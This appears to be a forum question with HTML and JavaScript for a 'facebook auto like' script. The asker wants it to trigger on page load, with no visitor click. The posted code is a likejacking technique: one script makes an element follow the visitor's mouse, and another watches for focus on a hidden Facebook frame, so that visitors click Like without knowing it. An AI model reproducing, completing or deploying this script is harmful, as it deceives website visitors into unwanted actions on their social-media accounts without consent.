Auto click on page load
<p>I found a facebook auto like script, its working..
but I want it to work on page load without the visitor need to click. 
Is it possible? I have tried jQuery trigger function, but it does not worked. Can anybody tell me how to do it modifying the existing script without adding any new codes or just adding some coded to the existing code?</p>

<pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt;
&lt;html lang="en" id="ns-sky" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml"&gt;

&lt;head&gt;
&lt;title&gt;YourWebsite.com&lt;/title&gt;
&lt;script src="jquery-1.4.2.min.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
var interval;
        $(function()
{
    interval=setInterval("updateActiveElement();", 50);
});

function updateActiveElement()
{
    if ( $(document.activeElement).attr('id')=="fbframe" ) 
    {
        clearInterval(interval);
        iflag=1; 
    }    
}

&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;


Paste your code here....
</code></pre>








         

      

    

<pre><code>  &lt;script&gt;
var iflag = 0;
var icontainer = document.getElementById('icontainer');    
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes



function mouseFollower(e){
    /*                    DO NOT EDIT THIS                         */
if (window.event) 
{ // for IE
    icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
    icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
} 
else 
{
    icontainer.style.top = (e.pageY-5)+'px';
    icontainer.style.left = (e.pageX-5)+'px';
}

}
document.onmousemove = function(e) {
    if (iflag == 0) {mouseFollower(e);}
}

&lt;/script&gt;
</code></pre>

<p>
 </p>
